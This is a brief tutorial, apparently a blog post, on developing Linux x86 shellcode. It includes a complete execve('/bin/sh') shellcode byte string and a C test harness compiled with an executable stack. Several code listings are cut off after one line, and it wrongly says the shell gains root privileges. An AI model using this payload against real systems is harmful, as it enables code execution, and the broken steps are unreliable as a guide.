Before you start learning shellcode development, please install NASM on your Linux system. Here’s the shellcode code:
1 | section .text |
After saving this code to a file named “shellx.asm,” you need to compile it using NASM to obtain the hexadecimal representation of the code. Use the following commands:
1 | nasm -f elf shellx.asm |
This will generate a “shellx” file. However, it’s not executable yet. You’ll need to use the “objdump” command to extract the hexadecimal code. You can use a Bash script like this:
1 | for i in $(objdump -d "$1" | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$'); do |
To validate your assembly code, you’ll need a C program as follows:
1 | char code[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; |
Compile this code with the following command:
1 | gcc -g -o shellcodetest shellcodetest.c -m32 -z execstack |
This will produce an executable, “shellcodetest.” When you run it, you’ll get a shell with root privileges:
1 | root@kali:/home/kali/shellCode_train# ./shellcodetest |